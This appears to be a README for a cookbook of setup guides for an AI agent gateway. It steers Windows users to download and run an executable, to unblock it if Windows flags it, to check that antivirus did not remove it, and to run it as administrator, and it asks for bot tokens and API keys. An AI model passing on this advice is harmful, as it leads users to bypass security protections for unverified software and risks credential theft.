🤖 openclaw-cookbook - Recipes for fast AI agent setup

📦 What this is

openclaw-cookbook gives you ready-made setup guides for OpenClaw, a self-hosted AI agent gateway for chat apps. It helps you connect tools like Telegram, Discord, Slack, and WhatsApp with one setup.

Use it when you want:

• one place to manage AI chats
• support for more than one channel
• a setup that runs on your own machine or server
• multi-model AI access
• long-term memory for agents
• clear steps you can follow without coding

🖥️ What you need

Before you start, check that your PC has:

• Windows 10 or Windows 11
• at least 8 GB of RAM
• 2 GB of free disk space
• a stable internet connection
• permission to install software
• a modern browser like Chrome, Edge, or Firefox

For best results, use a machine with 16 GB of RAM if you plan to run more than one agent or model.

🚀 Download and install

Use this link to visit the page and download the package:

Open the download page

After you open the page:

1. Find the latest release or main download area.
2. Download the file for Windows if one is listed.
3. If the download is a ZIP file, save it to your Downloads folder.
4. If the download is an installer, save the installer to your PC.
5. If your browser asks for permission, choose Keep or Save.

🪟 Run it on Windows

If you downloaded a ZIP file:

1. Open the ZIP file.
2. Click Extract All.
3. Pick a folder you can find later, such as Desktop or Documents.
4. Open the extracted folder.
5. Look for a file such as setup.exe, install.exe, or openclaw-cookbook.exe.
6. Double-click the file to start it.

If you downloaded an installer:

1. Double-click the installer.
2. Choose Yes if Windows asks for permission.
3. Follow the setup steps on screen.
4. Keep the default options unless the guide tells you to change them.
5. Finish the setup and open the app from the desktop or Start menu.

🔧 First-time setup

When the app opens for the first time, you may need to enter a few details.

Common setup items include:

• your OpenClaw gateway address
• your bot token for Telegram, Discord, Slack, or WhatsApp
• your model provider key
• a name for your agent
• a memory store location

Use the values from your OpenClaw setup or your hosting panel. If you are not sure what to enter, check the recipe that matches your channel.

🤖 What you can do with it

This cookbook helps you build common OpenClaw setups such as:

• a Telegram bot that answers messages
• a Discord agent for team chat
• a Slack helper for work channels
• a WhatsApp assistant for personal use
• a multi-agent workflow with task routing
• a memory-backed assistant that keeps context over time
• a model switch setup for different AI tasks

🧭 How to use the recipes

Each recipe is made to be followed in order.

1. Pick the channel you want to use.
2. Open the matching guide.
3. Copy the values shown in the recipe.
4. Paste them into the setup screen or config file.
5. Save your changes.
6. Start the app.
7. Send a test message from Telegram, Discord, Slack, or WhatsApp.

If the recipe includes a sample config, use it as a base and change only the values that match your account.

🔐 Accounts and keys

Some setups need access keys or bot tokens. These are normal for chat tools and AI models.

Keep these items ready:

• Telegram bot token
• Discord bot token
• Slack app token
• WhatsApp connection details
• model API key
• OpenClaw gateway URL
• memory database path

Store these values in a safe place. Do not share them in chat logs or public posts.

🧪 Check that it works

After setup, test with a short message like:

• Hello
• What can you do?
• Show me a quick reply

A working setup should:

• open without errors
• connect to the chosen chat channel
• send and receive messages
• keep the same settings after restart
• remember past context if memory is on

If something does not work, check the token, server address, and channel settings first.

🗂️ Suggested folder layout

When you extract the files, this layout can help:

• openclaw-cookbook/ - main folder
• recipes/ - setup guides
• examples/ - sample config files
• assets/ - images or screenshots
• logs/ - app logs if the app creates them

Keep the folder in one place so you can find it again after a restart.

🛠️ Common Windows fixes

If Windows blocks the file:

1. Right-click the file.
2. Choose Properties.
3. If you see an Unblock box, check it.
4. Click Apply.
5. Try again.

If the app does not open:

1. Make sure the download finished.
2. Confirm you extracted the ZIP file.
3. Check that your antivirus did not remove the file.
4. Run the app as administrator.
5. Try a fresh download from the link above.

If the channel does not connect:

1. Check the bot token.
2. Check the gateway URL.
3. Make sure the bot is enabled in the app or host panel.
4. Restart the app and test again.

📚 Repository topics

This project fits these areas:

• AI agent setup
• AI gateway workflows
• chatbot guides
• cookbook-style instructions
• LLM connections
• multi-agent support
• self-hosted deployment
• Telegram bot setup
• step-by-step tutorials

📥 Download again

If you need the files again, use the same page:

Visit the OpenClaw Cookbook download page

🧩 When to use each channel

Telegram works well for quick personal use.

Discord works well for groups and communities.

Slack fits office and team chat.

WhatsApp fits mobile-first use.

Choose the channel that matches where you already talk with people, then follow the recipe for that channel